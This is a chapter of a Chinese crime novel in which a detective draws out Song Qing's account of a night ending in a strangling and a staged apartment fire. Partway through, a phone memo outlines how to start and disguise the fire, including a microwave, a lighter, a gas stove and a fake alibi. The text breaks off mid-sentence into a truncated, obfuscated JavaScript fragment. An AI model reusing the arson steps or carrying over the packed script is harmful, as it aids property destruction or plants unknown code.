半晌,赵队才极慢地转过头,看向严疏,声音压得很低,带着一种近乎荒诞的疑惑:“这......到底是怎么回事?你是怎么知道的?” 严疏的目光依旧胶着在问询室内那个安静坐着的身影上,闻言,喉结滚动了一下,才用干涩的声音回答:“我不知道。”他停顿了片刻,像在艰难地消化这个事实,“是一条......匿名短信。” 又过了几秒,他几乎是叹息着补充了一句,声音里充满了疲惫与某种认知被彻底颠覆后的茫然:“我完全没想过......会是这样。” 李涵站在一旁,只觉得整个事件的复杂程度已经远超他的想象。他望着玻璃后那个模糊的侧影,忍不住压低声音问道:“师父,这事......怎么会和她......” “进去吧。”严疏轻轻叹了一口气,那叹息里仿佛承载了这大半年来所有的追逐、对峙、火光与鲜血。他打断了李涵的疑问,也不再看着玻璃,声音重新变得平稳:“我们去问清楚。” 他转过身,步履沉稳地走向问询室的门。 室内光线均匀而冰冷。严疏走到桌边,下意识地整理了一下并无线褶的衣领,然后坐下。 他没有立刻开口,只是静静地看着对面椅子上的女人,眼神复杂得如同翻涌的云海,里面交织着审视、疑惑、一丝不易察觉的动摇,以及更深沉的、连他自己都难以名状的情绪。 恍惚之间,时光仿佛倒流。 同样的房间、同样的位置、同样的流程、同样的动作,连空气中那种无形的张力,都是如此相似。 那时他坐在这里,对面......也坐着一个人。 回忆与现实重叠,带来一阵短暂的眩晕,令他陷在那片恍惚里,一时竟忘了言语,只是沉默地凝视。 直到对面的人似乎被这长久的静默和专注的注视弄得有些不安,微微动了动身子,小心翼翼地开口,声音清脆,带着显而易见的紧张:“严警官,我......怎么了吗?” 这声音像一把钥匙,猝然打开了严疏感官的锁。他定了定神,目光重新聚焦,这一次,真真切切地落在了对面的人身上。 光线似乎终于驱散了所有迷雾,那人的面容无比清晰地映入眼帘——年轻,带着些未脱的稚气,眼神里有着强装镇定也遮掩不住的惶惑。 与那张......无论何时都仿佛戴着一层温润假面的脸,截然不同。 严疏闭了闭眼,深吸一口气,再睁开时,眼底只剩刑警面对嫌疑人时的冷硬与锐利。他声音平稳,却字字清晰,带着不容回避的力量: “关于去年7月8日深夜,悦澜湾公寓发生火灾前后的具体情况......我们需要你,如实陈述。” 他抬起眼,目光如锥,直直钉在对面那张瞬间血色褪尽的脸上。语气是公事公办的冰冷,可若是细听,能察觉那尾音深处,分明带着一丝极力压抑却仍旧泄露的、沉重而不安的微颤。 然后,他清晰地吐出了一个名字: “宋晴小姐。” ———————————— 距离上次那场半正式的、带着录音的问询,已经过去了相当一段时间。那之后,严疏全身心都被那毁灭性的真相占据,再未打扰过她。这段无人打扰的久违宁静,让宋晴紧绷已久的神经彻底松弛了下来,几乎完全放松了戒备,也将那段不堪的插曲埋进了记忆深处。 因此,当传唤通知猝然降临时,她的心理防线几乎瞬间崩塌。 这种惊惶无措的情绪如影随形,一直延续到了此刻的问询室内。她坐在冰冷的椅子上,双手无意识地绞在一起,指节泛白,脸上交织着惊魂未定的恐惧,旧疮疤被反复揭开的烦躁,以及一种更深层的、仿佛秘密即将曝光的仓皇。 听到那个熟悉的问题再次被抛出,宋晴呼吸微微一滞,随后急促地喘了两口气,胸口起伏,试图用拔高的声调掩盖慌乱:“我不是已经全都告诉你了吗?上次都录下来了!为什么还要问?到底有完没完......” “宋小姐,”严疏平静地打断了她,声音不高,却带着一种沉甸甸的、不容置疑的严肃。他将手中一直捏着的那张纸,缓缓推过桌面,正对着她:“我的意思是......如实,陈述。” 那张突兀出现的报告,以及这句显然意有所指的话,像是两根针,扎得宋晴更加坐立难安。她眼神闪烁,一边带着抗拒瞥向那张纸,一边强撑着开口,声音却已不由自主地开始发飘:“这是什么意思?你想说我说谎?我......” 她的声音戛然而止。 目光像是被磁石吸引,死死锁在了报告最下方那行加粗的、异常醒目的结论上—— 【指纹确认匹配】。 宋晴其实并不理解这份报告的具体内容,更不清楚是什么与什么被“匹配”了。但一种源自本能的、冰冷刺骨的不祥预感,已经先于理智,如同潮水般汹涌而上,瞬间淹没了她。 严疏当然捕捉到了她瞬间僵直的身体和骤然失血的脸色。他伸出手指,点了点那份报告,语气平缓,却字字清晰: “这是一份指纹比对鉴定报告。一方的样本,是你进入问询室前,按程序采集的指纹。另一方......”他停顿了一下,似乎在措辞,但最后只是简单的进行了陈述:“......取自一把牙刷。” “牙刷?”宋晴听得云里雾里,可心头那股不祥的预感却越来越重,压得她几乎喘不过气,“什么牙刷?你在说什么?跟我有什么关系?” 看着她不似作伪的茫然反应,严疏心中的某个猜测得到了进一步的证实。他暗自叹了口气,继续解释:“这把牙刷,是在悦澜湾火灾现场,从洗手间收集的物证之一。” 这句话像一道惊雷,炸响在宋晴耳边。 她猛地睁大了眼睛,瞳孔剧烈收缩,脸上血色尽褪,嘴唇哆嗦着,语无伦次:“不......不可能!这绝对不可能!我......她......” 严疏看着她彻底失态的反应,已几乎确定了心中那个想法。叹息加重,他正准备引导,对面的人却像忽然被踩了尾巴的猫,情绪骤然失控。 “是她!”宋晴猛地从椅子上弹起一半,又被身后的椅背挡住,她双手撑在桌面上,身体前倾,声音拔高的几乎破音,充满了怨恨与崩溃:“是她害我!她是故意的!!” 泪水毫无征兆地冲垮了眼眶,混合着歇斯底里的指控奔涌而出:“我根本没碰过什么牙刷!一定是她搞的鬼!她......她什么都做得出来!她在报复我!她就是要拉我下水!那个恶毒的人!她死了也不放过我!!” 严疏揉了揉发胀的太阳穴。他等这阵激烈的爆发稍歇,才用平静到近乎古井无波的声音追问:“你说......根本没碰过那把牙刷。” 他抬起眼,声音里却已经听不出任何抓住破绽的兴奋或凌厉,只剩一种深入骨髓的、受到太多冲击后的疲惫:“所以你的意思是,在火灾发生之前......你,其实也在悦澜湾,是吗?” 问询室里瞬间死寂。 刚才还激动叫嚷、浑身颤抖的宋晴,仿佛被这句话施了定身咒,所有的动作和声音都戛然而止。她僵在原地,一动不动,只有瞳孔在剧烈震颤,映出无边无际的惊恐。 严疏看着她失魂落魄的样子,声音低沉下去,带着一种尘埃落定的沉重:“宋小姐,现在,好好讲讲吧。那天晚上在悦澜湾,到底......发生了什么?” 宋晴怔怔地望着他,眼神涣散,仿佛灵魂已经离体。良久,大颗大颗的眼泪忽然无声地、连续地滚落下来。 她瘫坐回椅子,肩膀垮塌,所有的强硬和伪装都粉碎了,只剩下一个被恐惧和悔恨彻底击垮的少女。她开始抑制不住地抽泣,声音破碎,断断续续: “那个女人......就是个疯子......变态......” “是她逼我的......都是她逼我的......” * * * * * * * * * 昏暗的巷子里,宋晴被那男人半拽着往前走。他嘴里似乎嘟囔着什么,像在解释,又像在抱怨。 风一吹,酒意散了大半。看着周围黑黢黢的墙壁,宋晴心底猛地窜上一股凉气——她后知后觉地害怕起来。 手伸进随身的小包——幸好这包一直挂着,没扔在卡座——指尖发着抖,慌乱地摸索,直到握住一个冰凉坚硬的握柄。 她几乎没有思考,猛地将它抽了出来。 顶端“滋啦”一声,爆开一簇幽蓝色的电光,径直朝前面男人的后脑勺捅去。 男人似有所觉,仓促回头,眼角余光瞥见那抹不详的蓝光,身体下意识地拧开—— 宋晴已经收不住手。 带着电流声的电击棒擦过男人的脸颊,“啪”地一声,结结实实怼在了他身前那个女人的后颈上。 女人连哼都没哼一声,只是短促地泄出一口气,随即像被抽掉骨头般,整个人软塌塌地向下瘫倒。 男人显然愣住了,立刻松开宋晴的手腕,半跪下去扶住那失去意识的女人:“简宁?简宁!” 宋晴趁机后退两步,听到这陌生的名字才拧起眉头,语气里满是怀疑和未消的恼怒:“什么情况?她还真不是楚谕?” 男人喊了两声没得到回应,抬头瞪向她,声音里压着怒意:“她一直在说不认识你,你聋了吗?” 宋晴一愣。她从头到尾都认定了这女人就是楚谕,只不过是换了发型、假装陌生——因为被她抓了红杏出墙的现行。 现在看......好像真搞错了? 一丝慌乱闪过,但骄纵惯了的脾气立刻占了上风。她下巴微扬,把责任轻巧地推了回去:“喂,这能怪我吗?谁知道她俩长得像......而且你干嘛上来就拉我?你不拉我能出事吗?” 男人被她这倒打一耙的逻辑噎住,一时没接上话。 宋晴懒得纠缠,干脆从包里抽出钱包,在手里晃了晃,语气干脆:“算了,电晕她是我不对......我也没想到这玩意这么厉害。开个价吧,医药费加补偿费,我现结。” 她利索地打开了钱包:“快点,报个数。” 男人像是听到了什么荒谬的笑话,嘴角刚扯起一个讥诮的弧度,视线却忽然越过她,望向她身后,发出一声短促的:“诶——” 那是宋晴听见的最后一个字。 后颈猛地一麻,像被冰冷的针瞬间刺穿骨髓,随即巨大的嗡鸣席卷了大脑。那一瞬视野里没了颜色,只有一片灼眼的炫光,炽烈、纯白。 然后—— 虚无的重量当头压下,一切就此戛然而止。 她甚至没来得及感到疼痛,意识便像被强行拔掉电源的屏幕,骤然漆黑。 ———————————— 一片虚无的黑暗里,一股尖锐清凉的气息猛地钻入鼻腔,强行扯回了宋晴涣散的意识。 她艰难地掀开沉重的眼皮,后颈还残留着大片酥麻,连转动脖子都显得滞涩费力。 视野一片模糊,光影斑驳。睫毛的缝隙间,只能勾勒出一个蹲在面前的朦胧人影。那人手里似乎拿着什么小物件,刚才醒神的刺鼻气味想来就是由此而来。 见她睁眼,对方收回了手,却没起身,也没说话,只是维持着那个半蹲的姿势,静静地停留在她模糊的视线里。 宋晴用力闭了闭眼再睁开,视线终于艰难地对焦。借着不知从何处投来的昏暗光线,那人的身影逐渐清晰—— 一袭简单的白裙,一头利落的短发。 但那张脸,她绝不会认错。 “楚、谕......”宋晴从牙缝里挤出这个名字,怒火瞬间顶替了残余的眩晕。随即她注意到了对方那与往常截然不同的发型,愣了一瞬,紧接着便是一声毫不掩饰的嗤笑:“呵,酒吧里那个就是你吧?装什么装?怎么,给你那姘头编了 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“吃粥?”宋晴没听清,或者说根本没太在意,只觉得莫名其妙,“什么乱七八糟的?” “迟昼。”楚谕重复了一遍,声音很轻,如同羽毛落地,却又异常清晰:“他的名字。” 宋晴翻了个白眼,只觉得对方神叨叨的:“怎么?不装了?跟我摊牌了?是打算卷铺盖走人了?什么时候去跟我哥说?” 楚谕沉默地注视着她,那目光让宋晴没来由地感到一丝烦躁,正要发作,却听见对方再次开口,问出了一个让她火冒三丈的问题: “宋小姐,”楚谕的声音依旧没什么起伏,“你为什么,一直这么敌视我?” 宋晴几乎要被气笑了,原先那一丝隐约的不安也被冲散:“哈?你还有脸问?我之前说的还不够明白吗?” 她来了精神,眼底的厌恶与某种正义混合在一起:“你第一次来我家,轻飘飘一句‘父母不在了’,可真是赚足了同情分啊。可惜,我查过了——你爸,不还好端端活着呢吗?” 她俯视着面前垂眸不语的女人,只觉得那股鄙夷的烦躁烧得更旺:“人家好歹把你拉扯大了,现在攀上我家了,就开始六亲不认了?楚谕,你真行哪。” 宋晴微微前倾,凑得更近,话语里那种居高临下的审判意味几乎要溢出来:“哦,我差点忘了......毕竟是抱养的,说不定基因里天生就缺点什么,是吧?比如,感恩?” 最后几个字,她咬得格外清晰,仿佛在宣读审判。 楚谕的头垂得更低了,面容完全隐没在昏昧的光影里,看不清神情,半晌没有声息。 时间在寂静中粘稠地流淌,久到宋晴以为她无言以对时,才听到一句极低、极轻的呢喃,带着一种空洞的茫然,飘忽得不似辩解,倒像迷失孩童的自语: “那......不是我的错啊。” 这副模样更激起了宋晴的唾弃。 “你可真是......”她搜刮着词汇想痛骂,但刚苏醒的大脑昏沉刺痛,让她连发泄都嫌费力,最终只是烦躁地挥了挥手:“算了,跟你这种白眼狼多说无益。你爱在爸妈和大哥面前装,那就接着装。但我把话放在这儿,我宋晴,这辈子不可能认你这种女人当嫂子。” 她撑起依旧乏力的身体准备站起来,语气不耐:“行了,我没空陪你在这儿扯皮。今晚你把我弄晕,还有你那个姘头的事,我会原原本本告诉我哥。你最好想想怎么......” 话音未落,忽然变成一声短促的惊呼:“你干什么!” 楚谕毫无征兆地倾身逼近,两人的面孔瞬间贴近到呼吸可闻。昏暗光线下,她的眼睛黑得瘆人,直直望进宋晴惊怒的眼底。 “帮我个忙吧,宋小姐。”楚谕的声音依旧很轻,指尖轻轻搭上了宋晴的手腕,如冰丝般缠绕而上。 那触感......像极了蛇。 宋晴触电般想甩开,却被那看似轻柔的力道紧紧箍住。她怒目而视,胸腔因愤怒和一丝莫名的恐惧而起伏不定。 楚谕忽然极短促地低笑两声,那笑声很轻,却不含任何欢愉,只有一种令人头皮发麻的、空洞的异样,在寂静的房间里荡开,莫名让人牙酸。 宋晴心底蓦地一寒,伸手去推她:“你真有病......” 所有动作和言语,在下一句话传入耳中时,彻底僵死。 她听见楚谕再次开口,那声音轻缓,吐字清晰,甚至还带着一丝未曾散尽的笑意余韵,可吐出的字句却荒谬而扭曲,完全超出了她能理解的范畴。 “杀了我吧。” 宋晴的大脑空白了一瞬。几秒后,才像被烫到一样猛地回神,用尽力气将楚谕推开,声音因惊惧和厌恶而拔高:“你神经病啊?!滚开!” 楚谕被推得踉跄了一下,却毫不在意。她甚至还没有站稳,就再次像没有重量的幽灵般贴了上来,比之前更近,几乎将宋晴禁锢在沙发与她冰冷的身体之间。苍□□致的脸庞近在咫尺,瞳孔幽深得看不见底。 那轻缓的、带着一丝诡异笑意的声音,如同催命的咒语,钻进宋晴的耳朵,钉进她的脑海。 “杀了我吧。”她重复着,声音更轻、更缓,如同恶魔的蛊惑低语,每一个字都带着冰冷的、令人毛骨悚然的韵律,“宋晴,杀了我吧。” 一遍,又一遍。 昏暗死寂的公寓里,只有这重复的、平静到诡异的索求在回荡。窗外的城市灯火成为了遥远而模糊的背景,映照出楚谕眼中某种近乎狂热,又彻底虚无的光。 宋晴被这超出理解范围的疯癫彻底攫住,理智在那双近在咫尺的、黑得不见底的眼眸注视下,开始发出不堪重负的嗡鸣。 那空灵而执拗的重复如同冰冷的蛛丝,一层层缠裹住宋晴的感官。全身毛孔骤然张开,血液轰鸣着直冲头顶,加剧了后脑撕裂般的胀痛。 惊骇之下,她再次奋力推搡,声音尖锐得变调:“你真是有病!病得不轻!疯子!变态!” 可刚苏醒的身体虚软无力,几番纠缠后,她几乎已被楚谕整个压在沙发里。一只冰凉的手紧紧钳住了她的手腕,却并未做出什么攻击性的举措,而是带着某种引导的意味,缓缓牵引着宋晴的手臂,绕过了楚谕自己纤细的脖颈。 紧接着,楚谕开始向后仰靠,利用身体的重量将宋晴的手臂缓缓收紧,竟逐渐形成了一个诡异的、仿佛自我献祭般的绞索。 她的呼吸开始变得破碎,却仍在固执地呢喃,热气喷在宋晴耳侧,内容却冰冷刺骨:“杀了我......就这样吧......杀了我......” 宋晴惊呆了,一股蛮力从受惊的身体里爆发,猛地抽回手臂,同时屈膝狠狠将楚谕从身上蹬开,自己也踉跄着滚下沙发,跌跌撞撞往门口冲,声音发颤:“疯子!想死自己找地方去!别缠着我!” 还没摸到门把,脚踝却忽然被紧紧拽住。她低呼一声,狼狈地扑倒在地。未及爬起,头皮忽然微微一紧,被人从后面揪住了头发。 随即,那条熟悉的手臂从后方环了上来。这一次,箍住了她的脖子。 耳畔,楚谕的声音再次传来,清脆的音色里压抑着一种黏腻的狂热:“宋小姐,帮我一次吧,好不好?” 颈间的压力逐渐增加,呼吸开始轻微受阻。宋晴疯狂地抓挠着那条胳膊,耳边却仍在传来带笑的低语,有如附骨之疽:“你不杀我......我就要杀你了。反正......‘楚谕’,已经不该存在了。你想怎么选,宋小姐?” 这不再是疯癫的呓语,而是一场令人窒息的恐怖游戏,带着赤裸裸的死亡威胁。 极致的恐惧混合着生理性的窒息,开始挤压所剩无几的理智。宋晴剧烈挣扎,咒骂,踢打,可身后的人如影随形,颈间的力道虽不至于勒断呼吸,却更显缓慢坚决,反倒带来更深层的精神摧折。 混乱中,宋晴反手向后胡乱抓挠,指尖忽然勾到一条坚硬温热的物体。求生本能让她如同抓住了救命稻草,五指猛地收紧攥住,用尽全身力气向上狠拉,试图扯开这个索命的疯子。 “呃......” 一声闷哼从身后传来,颈间的钳制骤然松脱。 宋晴来不及思考,凭借本能猛力转身,终于挣脱开来。昏暗中,她只看到楚谕纤细的背影微微佝偻,似乎因刚才的拉扯而失了平衡,毫无防备的后背也暴露在了她的眼前。 濒临崩溃的神经被这一幕刺激,恐惧在瞬间催化出了最为原始的攻击性。宋晴不仅没有松手,反而就着跪坐的姿势,将手中紧攥的东西再次向后拽去。 金属链子瞬间绷直,深陷进楚谕颈前的肌肤。 直到这时,宋晴才认出,自己慌乱中抓住的,正是楚谕脖子上那条从不离身的项链。 她曾或明或暗地数次嘲笑那条褪色的浮夸项链,却在此刻,如此庆幸它的存在。 她手臂发抖,却不敢松懈,声音因恐惧和用力而变调:“姓楚的!你别发疯!” 楚谕并未剧烈挣扎,反而从被勒紧的喉咙里断断续续溢出低哑的笑,带着窒息的哮音,在昏暗寂静的环境中显得格外瘆人:“宋......小姐......松手的话......我一定......杀了你......哈哈......哈哈......” 这笑声和言语如同最后的稻草,彻底压垮了宋晴本就濒临崩溃的神经。 狂飙的肾上腺素屏蔽了思绪,太阳穴突突狂跳,视野边缘开始闪烁白斑,血管仿佛下一秒就要爆裂。极致的恐惧在临界点异化质变,陡然转化成了一种想要摧毁眼前那可怖之源、让自己获得安全的毁灭冲动——结束它!必须立刻结束这该死的、诡异的一切! “你神经病!有病去治啊!缠着我干什么!你想死是吗?!你想死是不是?!”她嘶喊着,泪水混着汗水滚落,理智的弦彻底崩开,“好啊,我成全你!你去死!去死!别再缠着我家!去死!你给我去死!!” 在哭喊与咒骂中,宋晴终于被恐惧和愤怒彻底支配。 手臂机械地、疯狂地开始向后发力,仿佛要将所有的恐惧、厌恶、以及这漫长夜晚积累的崩溃,都通过这条冰冷的链子倾泻出去。刚苏醒的虚弱身体早已承受不住这剧烈的情绪波动和体力透支,眼前阵阵发黑,耳中嗡鸣尖锐,意识开始在清醒与涣散的边缘剧烈摆荡。 混沌之中,感官变得支离破碎。 似乎有痛苦压抑的呜咽传来,又好像只是自己喉头的哽咽;眼前好像晃动着巨大的白影和人形,却分不清是真实还是幻象。 现实的边界被彻底稀释。 宋晴不知道自己是什么时候晕过去的,也不知道链子到底勒了多久,更不知道......手中紧紧攥着的、几乎要勒进掌心的项链另一端,究竟发生了什么。 39.叁拾玖 意识重新聚拢时,时间的概念已彻底模糊。 宋晴费力地掀开沉重的眼皮,干涩的眼球微微转动,视野里的一切都蒙着一层重影,色块晃动,轮廓扭曲,像是掉进了一款渲染低劣的游戏。 混沌的目光迟缓地扫过四周——熟悉的沙发轮廓,陌生的昏暗光线,冰冷的空气质感。 还在悦澜湾。还在客厅里。还在沙发前。 大脑迟钝地加载着信息,她本能地想抬手想揉搓一下刺痛的眼睛,刚一动,手腕却猛地一沉。 ......什么东西? 沉甸甸的坠感让她不耐地低头。 只一眼。 所有的昏沉、钝痛、迷惘,如同被无形的冰水兜头泼下,冲刷得一干二净。血液在瞬间冻结,又轰然冲上头顶。 她僵硬地维持着低头的姿势,动弹不得,呼吸几乎停滞。只有胸腔里,心脏在死寂之中疯狂擂动,撞击出沉重孤独的回响。 墙角落地灯散发的昏暗灯光,吝啬地涂抹出眼前的景象。 手腕上,那条项链冰冷地缠绕着,在幽光下泛着哑暗的、金属特有的寒光,如同一副为她量身定做、却又荒诞不经的手铐。 另一端...... 延伸出去,绷直,最终没入了一个垂首静坐的身影颈部。 她靠着沙发,微微歪着头,短发凌乱地遮住侧脸,一动不动,仿佛一尊被遗忘的、了无生气的蜡像。 昏黄交织的光影之中,宋晴的大脑彻底空白。 “嗬......嗬......” 喉咙像是被什么堵住了,想尖叫,却只挤出一连串破碎的、漏气般的气音,混杂着无法抑制的剧烈喘息,像是濒死的哮喘病人。 极致的恐惧,已无形地扼住了她的声带。 宋晴猛地抽手,想要挣脱这噩梦般的束缚。 链子哗啦一响,却并未松开,反而因为她的动作被拉紧,另一端那具躯体也随之被扯动,朝着她的方向直挺挺地歪倒下来,半边肩膀沉沉地压住了她的小臂。 一股冰冷、僵硬的触感,透过裸露的皮肤,毫无阻隔地传来。 那不似体温,更像......某种物体。 像家具,像地板,像深秋夜里的铁栏杆......唯独,不像生命。 一声短促到几乎听不见的惊叫终于挤出喉咙。 宋晴触电般猛地向后一缩,手臂却因此被压得更实。她像被滚水烫到,又像被毒蛇缠上,眼泪开始毫无预兆地涌出,混合着冷汗。 她疯了似的用另一只手去扒拉、抠扯缠在腕上的链子,指甲刮过皮肤,留下道道红痕。链子终于松脱,她几乎是手脚并用地向后蹭爬,直到脊背撞上冰冷的墙壁,退无可退。 她蜷缩在几步外的阴影里剧烈喘息,瞳孔颤抖着,望向客厅中央。 那具躯体因她刚才激烈的挣脱,此刻已完全侧倒在沙发边的地毯上,保持着一种不自然的、松垮的姿态。 昏暗的灯光勾勒出那道纤细的、静止的轮廓,令一个冰冷的事实,终于穿透麻木的恐惧,缓慢而沉重地,砸进了宋晴的认知。 楚谕...... ......如愿了。 此情此景之下,先前所有的愤怒、不甘与鄙夷,都像被投入了绝对零度的深渊,瞬间冻结、粉碎,连一点火星都没剩下。占据她整个头脑的,只剩下一种剔除了所有杂质的、最为原始、纯粹的恐惧——是一种人类面对不可理解也无法抗衡的黑暗时,那刻入基因的战栗。 眼泪失控地涌出,顺着冰冷的脸颊滑落,宋晴却不敢眨眼,更不敢移开视线。 她死死瞪着眼睛,一眨不眨地盯着沙发边那具了无生气的躯体,视线不敢有丝毫偏移,仿佛一旦错开,那僵硬的肢体便会以不可思议的角度开始扭曲,带着死寂的气息朝她扑来。 落地灯昏黄的光晕笼罩着沙发旁的一小片区域,将物体的影子拉得诡谲变形。空气里弥漫着一种粘稠的寂静,心跳和喘息都显得格外惊心动魄,放大着每一丝可能潜藏的、非人的动静。 就在这僵直、漫无目的却又高度集中的恐惧凝视中,宋晴涣散的眼角余光忽然捕捉到了沙发上的异样。 暗色的真皮沙发上,就在那具躯体刚刚倚靠过的位置,突兀地躺着一抹醒目的白。不知何处透入的、恰好偏移的光线,正正落在那片区域,让它的存在清晰得不容忽视。 那是......一张纸。 那张纸,如同一枚突然投入死水的石子。 恐慌与无措无穷无尽、无处倾泻,已几乎要将她撑裂,此刻却猛地触及了一片脆弱的浮木——哪怕它出现得如此突兀。 但宋晴已无法思考了。极度紧绷的精神急需一个抓手,哪怕那是通往更深恐惧的钥匙。 她死死咬住下唇,直到尝到血腥味,用尽全身力气遏制着筛糠般的颤抖。身体极其缓慢地、一点一点向前探去,手臂伸长,指尖颤抖着,在触到纸片冰凉的瞬间便猛地将它攥住,迅速缩回。 直到后背再次抵上冰冷的墙壁,她才敢低头。眼泪模糊了视线,手中的纸片抖得簌簌作响,上面的字迹一片混沌。她粗鲁地用衣角胡乱抹了两把眼睛,又将纸张在手心用力展平,直到几乎要把它揉碎,视线才终于聚焦。 那上面有字,但......不是正常的字迹。 笔画歪斜,结构散乱,力道深浅不一,幼稚得如同孩童初学写字时的涂鸦,带着一种神经质般的潦草和用力过度的顿挫。 可尽管如此,它依旧可以被清晰地辨认出来。 上面,只有五个字: ———————————— 手机备忘录 ———————————— ********* “备忘录?” 严疏的眉头早已拧成死结,面色沉郁如水。听到这里,他终于开口,声音有些发紧。 “是.....是......”宋晴早已没了先前那份强撑的、带刺的活力,那段浸透了诡异与恐怖的回忆显然已将她彻底击穿,如同烙铁烫穿了外壳,只留下了瑟缩的内里。她嘴唇无法控制地哆嗦着,语不成句:“她......她......” 看着她濒临崩溃的神态,严疏再一次几不可闻地叹了口气。 尽管宋晴的讲述颠三倒四、语无伦次,但凭借对事件全局的基本掌握,他几乎已能窥见那夜发生在悦澜湾的、令人脊背发凉的完整事件。 无需推测,他已明了——宋晴最后醒来时看到的那具躯体,就是简宁。 极致的惊恐、昏暗的客厅、激烈的打斗、无声的身躯、同样的短发...... 在宋晴眼里,那个人......只会是楚谕。 现在,只差最后几块碎片了。 而手持碎片的人,就在他的面前。 “内容,”严疏打断了宋晴无意义的颤音,“还留着吗?” 宋晴呜咽着点头,眼泪混着鼻涕流下。她哆嗦着手伸进包里摸索,掏出手机时差点脱手。指尖冰冷僵硬,对着解锁界面按了几次都因颤抖而失败。她拼命吸气想稳住自己,又折腾了许久,才终于“咔哒”一声解开锁屏。随后,她像扔掉烫手山芋般,将那小小的电子设备推向桌子对面。 手机在光滑的桌面上滑过一段距离,停在严疏手边。屏幕亮着,停留在备忘录的页面,如同一扇通往深渊的、微微敞开的小窗。 严疏看着它,深吸了一口气,胸腔却依旧沉闷。 这场耗尽心力、浸透了人性幽暗的漫长追逐;这桩起于烈焰、终于灰烬的离奇案件;这根从十二年前燃烧至今的、终于烫到了眼前的诡谲引线...... 在此刻,终于要迎来它的最后一块拼图。 讽刺的是,这块他苦苦求索而不得的真相碎片,竟是由那个藏匿于所有谜团中心的“已逝”女人,以这样一种近乎馈赠的方式,通过一个令人完全意想不到的“信使”,亲手送到了他的面前。 严疏闭上眼,将翻涌的复杂心绪强行压下。他再次深吸一口气,随后睁开眼、伸出手,拿起了那部手机。 面前的那条记录,标题空白。 可开篇第一行字,已像一记无声的惊雷,猝然劈入他的眼帘—— ———————————— 谢谢你,杀了我。 ———————————— 呼吸停滞,瞳孔急剧收缩。严疏死死盯着那行字,时间仿佛被拉长、凝固,审讯室内的空气沉重得令人窒息。 几秒,或者更久,他才极其缓慢地、几乎是强迫地,将视线向下移动。 后续的内容,却越发超出了常理的边界,字里行间透着一种荒诞的狂热—— ———————————— 想必你知道,“涅槃”这两个字的意思吧。所以现在,请再帮我最后一次——同样,也是帮你自己。 ———————————— 已无需再翻阅更多。一切微不足道的细节就此贯穿,填补了悦澜湾那个空白的夜。 那个已经不见人影的代驾;那个大到夸张的、足以遮住人的玩具熊;客厅里那个被烧的只剩拉杆的大号行李箱;宋晴在失去意识前,眼前突兀闪过的大片白光。 以及,她那......像被伤了声带般的,总是略显沙哑的嗓音。 一股彻骨的寒意伴随着顿悟的激流,贯穿了严疏的四肢百骸。 那个始终萦绕不散、直到前一刻仍在啃噬理智的核心疑问,就这么被那寥寥数语彻底地解答了。 ——悦澜湾那场大火,究竟因何而起? 握着手机的指节因用力而泛白。巨大的、混杂着震惊、恍然与不可置信的浪潮,彻底席卷了他。 严疏睁开眼,没有继续阅读那备忘录的后续内容,而是缓缓地、沉重地,抬起了视线。 目光越过冰冷的桌面,落在了对面那个缩在椅子上、依旧抖若风中残叶的年轻女子脸上。 喉咙有些发干,声音干涩得像是从砂纸上磨出来,带着梦呓般的恍惚与沙哑: “......是你。” 宋晴的啜泣骤然变成了破碎的呜咽,她浑身抖得厉害,泪水混着冷汗糊了满脸,话语支离破碎:“我......我不是......是她逼我的!她疯了!我能怎么办......我没办法了......” 严疏看着她,已不知还能说些什么。汹涌而来的信息太过庞大,牵扯出的枝蔓远远偏离了最初的预想,让他的精神几乎过载,带来阵阵窒息与无力。 内心深处,竟已生出一丝前所未有的、近乎本能的抗拒,像疲惫的旅人望见最后一道险峻关隘时本能的后退——他不想,也不愿,再向前踏出那明知是泥沼的一步。 然而这一次拦在他面前的,已不再是那份源于个人心结的、炽热偏激的“执念”,而是冰冷的、真实的、无法回避的——“职责”。 曾经他以“职责”二字作为追寻真相的盾牌,包裹着自己那不肯罢休的执念。可如今,当执念带来的真相沉重到让他想要转身时,那盾牌却化为了不可撼动的界碑,牢牢阻住了他的退路,逼迫着他必须看向这无底的深渊。 他已别无选择,只能纵身跃下。 大脑被接连的冲击震得麻木,对后续的内容也已有了心理准备。因此,当那些冷静的、精密到了极致的文字映入眼帘时,竟未能再激起惊涛骇浪,只剩下一种沉重的、冰封般的寒意。 他垂着眼,目光沉重地扫过屏幕。指尖,早在不知不觉间已开始微微颤抖。 那是一份......逻辑清晰、步骤严谨的操作指南。 详尽,冷酷,条理清晰。 如何利用微波炉低温加热一罐奶油,使其内部压力缓慢积聚;如何在微波炉门缝处巧妙地放置一个打火机;如何打开紧邻的燃气灶,并在上面烧上浅浅一壶水,以便让滚烫的铁皮成为最后的引信......每一步都考虑了时间、温度、连锁反应,甚至还精确地利用了设备之间的位置。 以及,如何在火起之后混入拥挤混杂的楼梯间,与惊慌失措的众人一同下楼。 不止如此,它甚至还附赠了一套......天衣无缝的说辞。 误伤了简宁后的惊慌失措、情急下在酒吧门口打了辆没有电子记录的出租车、从那个因隐私问题而没有装摄像头的侧门回家...... 甚至,还有一份在午夜时分下单的、限购款护肤品的购买记录。 即便是见惯了罪案的严疏,在通篇读完这冰冷详细的安排之后,脑海里也只能浮现出四个字—— 完美无缺。 一种......令人毛骨悚然的无暇。 备忘录的最后,是一段平静的陈述。 ———————————— 以上,是我的感谢。你当然可以选择不接受,但请务必记住:是你,杀了我。 所以,你是否愿意,成为一个真正的杀人犯? 切记,选择题......最忌摇摆不定。 那么现在,请开始吧。 最后,谢谢你。 我的无间狱,我的救世主。 ———————————— 手机屏幕暗了下去,最后一点微光熄灭,像是合上了一本沉重不堪的书。 可结尾那矛盾而刺眼的排比,却仿佛烙在了视网膜上。相悖的词组在脑海中反复碰撞,一个念头,终于后知后觉地成型。 严疏声音沙哑:“楚谕的身世......是你告诉她的?你怎么知道的?” 宋晴的情绪似乎稍稍平复了些,但声音里的颤抖并未完全消散:“是......是妈妈让人去查的。”她顿了顿,似乎在组织语言,“妈妈虽然心疼她,喜欢她,但......毕竟那时候她已经和大哥订婚了。妈妈说,总要知道清楚些,心里才踏实。” “报告送来的时候,我正好在家。妈妈看完后,坐在那儿半天没说话,脸色......很是复杂。我好奇,就凑过去想看看......” 宋晴舔了舔干裂的嘴唇,继续叙述:“我还没怎么看清,妈妈一下就把文件收了。但我已经看见最上面那页了......是一个中年男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 